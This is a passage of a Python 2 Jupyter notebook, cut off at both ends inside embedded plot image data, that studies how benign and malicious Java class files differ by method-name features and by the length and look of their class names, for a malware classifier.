O8n1YB7MuL8A8C6rNy8Xi+ATYE5pDK/RXHAfjyXx8za4SButmo8GRG3dZKnaMKI2ujvnwI3t3Pe\nK90uVbGgZ33RIs1k9YUO8jzWg+ubWeYgbta/1WqobV34EPB03n+g4NgOXbzfE8D+pIFz93WQr6Mg\n/yTwKWB6RCzp5H5PkboDtif1+9creg4zq+M+cbN+LCL+ADwKfEXS1o3HJb1L0rtz3udJr619WtL7\n6/KsAfxTF29Ze5f9FEmrd5Bvcd5vVHDsV6S/LacWnSipfs3lSXn/zw15DgaGdVpaswHONXGz/u+L\npFfMZkq6kFRjHUJ6FeszwHHAJTnvd0jrGt8l6RzefsVsta7cKCLuk3Q68K/Ag5KuJPVtbw38HTAy\nIhaSmsMXAV+TtDTf5/mIuD0irpF0EfB1STsDN5Jeo9sC2APYNm9ExC2SbgCOkLQh6RWzbUkLTDwK\nfKgbPy+zAcNB3Kx/aLd5OiIelvQR0rvbBwFfIQXQp0mj2afU5b1X0idJ74gfB7wK/AY4H3ikSwWJ\nGC/pYdKSi/9CqlU/SwrGr+U8yyQdApxEmj52TdKHh9vz8WPy5C9fyuVYg/S++YP5+3qfz9c5FPgk\nMJP04eRQ0rS0ZtYOL0VqZmbWotwnbmZm1qIcxM3MzFqUg7iZmVmLchA3MzNrUQ7iZmZmLcpB3MzM\nrEU5iJuZmbUoB3EzM7MW5SBuZmbWohzEzczMWtT/B/ZqqAjXPVxUAAAAAElFTkSuQmCC\n", + "text": [ + "" + ] + } + ], + "prompt_number": 155 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### We check the importance from the classifier again. The method names features are not the most important features, but they rank relatively relatively high in importance. This explains the only slight improvement in the classifier." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "importances = zip(method_name_features, clf_methods.feature_importances_)\n", + "importances.sort(key=lambda k:k[1], reverse=True)\n", + "for idx, im in enumerate(importances[0:15]):\n", + " print (str(idx+1) + ':').ljust(4), im[0].ljust(35), round(im[1], 5)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### What about the class names?" + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "for idx, gcn in enumerate(df_good['class name']):\n", + " print gcn\n", + " if idx == 19:\n", + " break" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "com/google/common/collect/ForwardingConcurrentMap\n", + "org/apache/hadoop/io/compress/GzipCodec$GzipOutputStream$ResetableGZIPOutputStream\n", + "com/google/common/collect/Multisets$UnmodifiableSortedMultiset\n", + "hu/openig/mechanics/StaticDefensePlanner$1\n", + "org/apache/commons/io/LineIterator\n", + "org/apache/pig/builtin/IntMax\n", + "org/apache/commons/lang/time/FastDateFormat$StringLiteral\n", + "hu/openig/screen/items/ResearchProductionScreen$15\n", + "org/dom4j/XPathException\n", + "threadWordlistExec\n", + "org/odlabs/wiquery/ui/autocomplete/AbstractAutocompleteComponent$InnerAutocomplete\n", + "org/xml/sax/ContentHandler\n", + "org/apache/commons/httpclient/protocol/SSLProtocolSocketFactory\n", + "org/apache/pig/PigException\n", + "org/junit/runners/Enclosed\n", + "org/jets3t/service/io/ProgressMonitoredInputStream\n", + "org/apache/pig/impl/util/CastUtils\n", + "com/google/common/base/Joiner$2\n", + "com/google/common/io/CharStreams\n", + "org/apache/commons/compress/archivers/cpio/CpioArchiveOutputStream\n" + ] + } + ], + "prompt_number": 157 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "for idx, gcn in enumerate(df_bad['class name']):\n", + " print gcn\n", + " if idx == 19:\n", + " break" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Main\n", + "YdCdHX/VcZaXVjyy\n", + "aOcMSp\n", + "a/zylasqwjlpbqyrwrr\n", + "tljpjunbjwtqlywm/sdnrybknlf\n", + "Mainer\n", + "Main\n", + "mNIJnGIOkm/Payload\n", + "aHrMCrboe/chspSxY\n", + "Main\n", + "OSrAfQWThe/SHLeanN\n", + "hhIji/XQDODV\n", + "a/dwrwbjyhllzu\n", + "H\n", + "enudwwlhl/wsshvntsenuwajehdujlchpms\n", + "Main\n", + "iACVKaBQCV/HhtBSGn\n", + "GondadGondadExp\n", + "Main\n", + "enudwwlhl/yhfwcgjacjjauyvut\n" + ] + } + ], + "prompt_number": 158 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Much like the method names, the malicious class names look like gibberish. They also seem shorter and do not have a lot of slashes." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot('class_name_length', 'label')\n", + "plt.ylabel('Class Name Length')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 159, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "iVBORw0KGgoAAAANSUhEUgAAA+IAAAE7CAYAAABZtDuFAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzt3XmcZFV58PHfw+6AOqxGMNoIsoiSkTWJCRSLK74GfKPG\njemouEKC0STixgzBBV9FxCgKBAdFUQyKIUpAhEJZFKMCiiIuDCio7LLMsMg87x/31kxNTXV1V8/t\nqlvdv+/nU1Sde0/dfro+n+H2U+c850RmIkmSJEmSBmOdYQcgSZIkSdJcYiIuSZIkSdIAmYhLkiRJ\nkjRAJuKSJEmSJA2QibgkSZIkSQNkIi5JkiRJ0gCZiEuSJEmSNEBDS8Qj4qiI+FJE/CoiVkTEDT36\nvjIivhARv4iI+yPixoj4akTsNUH/dSLiLRFxXUQsj4ibIuJDETFv5n4jSZIkSZImF5k5nB8csQK4\nA/gBsAfwh8x8cpd+GwHLgB8CXwNuALYG3lA+H5qZn+t4z0eBI4AvA+cBTy3b3wYOzGH90pIkSZKk\nOW+YifhYZi4tX/8YmDdBIr4u8JeZ+e2O41sB1wKPAI9vJdcRsQvwI+DszHxxW//DgROBV2TmmTPz\nW0mSJEmS1NvQpqa3kvAp9HukMwkvj98KfAvYCtiy7dTLyucTOt5yCsXI+iv7DlaSJEmSpIqM+mJt\nTwAeBO5uO7YnxSj5le0dM/NB4OryvCRJkiRJQzGyiXhEPJ8iqf5iZj7Udmpr4PbMfLjL224GtoiI\n9QYRoyRJkiRJnUYyEY+IpwCfBX4DvLXj9DyKUfJuHmjrI0mSJEnSwI1cIh4R2wLfpJh+/rzMvKOj\nyzJgwwnevhGQZR9JkiRJkgZupKZoR8QYcDHFiPYBmXltl263ADtFxPpdpqdvQzFt/Y8d13U7M0mS\nJElSpTIzuh0fmUS8TMKbwKMp9gK/eoKuVwLPAvYGLm17/0bAgvIaa3Brcal+xsfHWbJkybDDkCSp\n1rxfSvUU0TUHB0ZkanpEPIliJPwxwLMz84c9un+RYvr5kR3HDwMeBXxuRoKUJEmSJGkKhjYiHhGv\nAp5UNrcE1o+Id5XtpZl5Rtnv0RRJ+JOAjwE7R8TOHZe7oNxXnMz8cUR8HDg8Is4GzgN2Bo4Ampn5\n+Zn8vSRVZ2xsbNghSJJUe94vpdEzzKnprwb2LV+35oUfUz43gTPK15sDY2WfI7pcJ4H9gFvbjh0J\nLAVeBxwE3AacCLynisAlDUaj0Rh2CJIk1Z73S2n0DC0Rz8z9pthvKX1Ooc/MFcDx5UOSJEmSpNoY\niRpxSZIkSZJmi3C18GL7Mj8HSZIkSVJVImLC7cscEZckSZIkaYBMxCXVVrPZHHYIkiTVnvdLafSY\niEuSJEmSNEDWiGONuCRJkiSpWtaIS5IkSZJUEybikmrLmjdJkibn/VIaPSbikiRJkiQNkDXiWCMu\nSZIkSaqWNeKSJEmSJNWEibik2rLmTZKkyXm/lEaPibgkSZIkSQNkjTjWiEuSJEmSqmWNuCRJkiRJ\nNWEiLqm2rHmTJGly3i+l0WMiLkmSJEnSAFkjjjXikiRJkqRqWSMuSZIkSVJNmIhLqi1r3iRJmpz3\nS2n0mIhLkiRJkjRA1ohjjbgkSZIkqVrWiEuSJEmSVBMm4pJqy5o3SZIm5/1SGj0m4pIkSZIkDZA1\n4lgjLkmSJEmqljXikiRJkiTVhIm4pNqy5k2SpMl5v5RGj4m4JEmSJEkDZI041ohLkiRJkqpljbgk\nSZIkSTUxtEQ8Io6KiC9FxK8iYkVE3DBJ/x0j4pyIuDMi7ouIb0XEfhP0XSci3hIR10XE8oi4KSI+\nFBHzZua3kTQTrHmTJGly3i+l0TPMEfH3Ag3g58BdwIRzwyNiO+ByYG/gOOCfgU2A8yPigC5v+Qjw\nYeDHwOHAl4B/AM6NiK5TAyRJkiRJGoSh1YhHxFhmLi1f/xiYl5lPnqDvWcAhwO6ZeU15bGPgWuCB\nzNypre8uwI+AszPzxW3HDwdOBF6RmWd2XN8acUmSJElSZWpZI95KwidTJtwvBJqtJLx8//3AqcAO\nEbFn21teVj6f0HGpU4BlwCunG7OkwXKmnSRJkmajUVisbVdgA+CKLue+Wz7v0XZsT+AR4Mr2jpn5\nIHB1eV7SCFiypDnsECRJqj1rxKXRMwqJ+Nbl881dzrWObdPR//bMfHiC/ltExHoVxidJkiRJ0pSN\nQkLaWun8wS7nHujo03rdrW9n/3vWPjRJVWs2V01JP/30BmNjxetGo3hIkqTVNbxBSiNnFBLxZeXz\nhl3ObdTRp/V6iwmutRHF6uzLJjgvacg6E+5Fi4YUiCRJkjRDRiERv6V83qbLudax9mnrtwA7RcT6\nXaanb0Mxbf2PnRcaHx9nrBx6mz9/PgsWLFj57WKr7sa2bduDbS9d2lw5Ol6HeGzbtm3btu06tluv\n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\nEv4eYElmvrrL+U2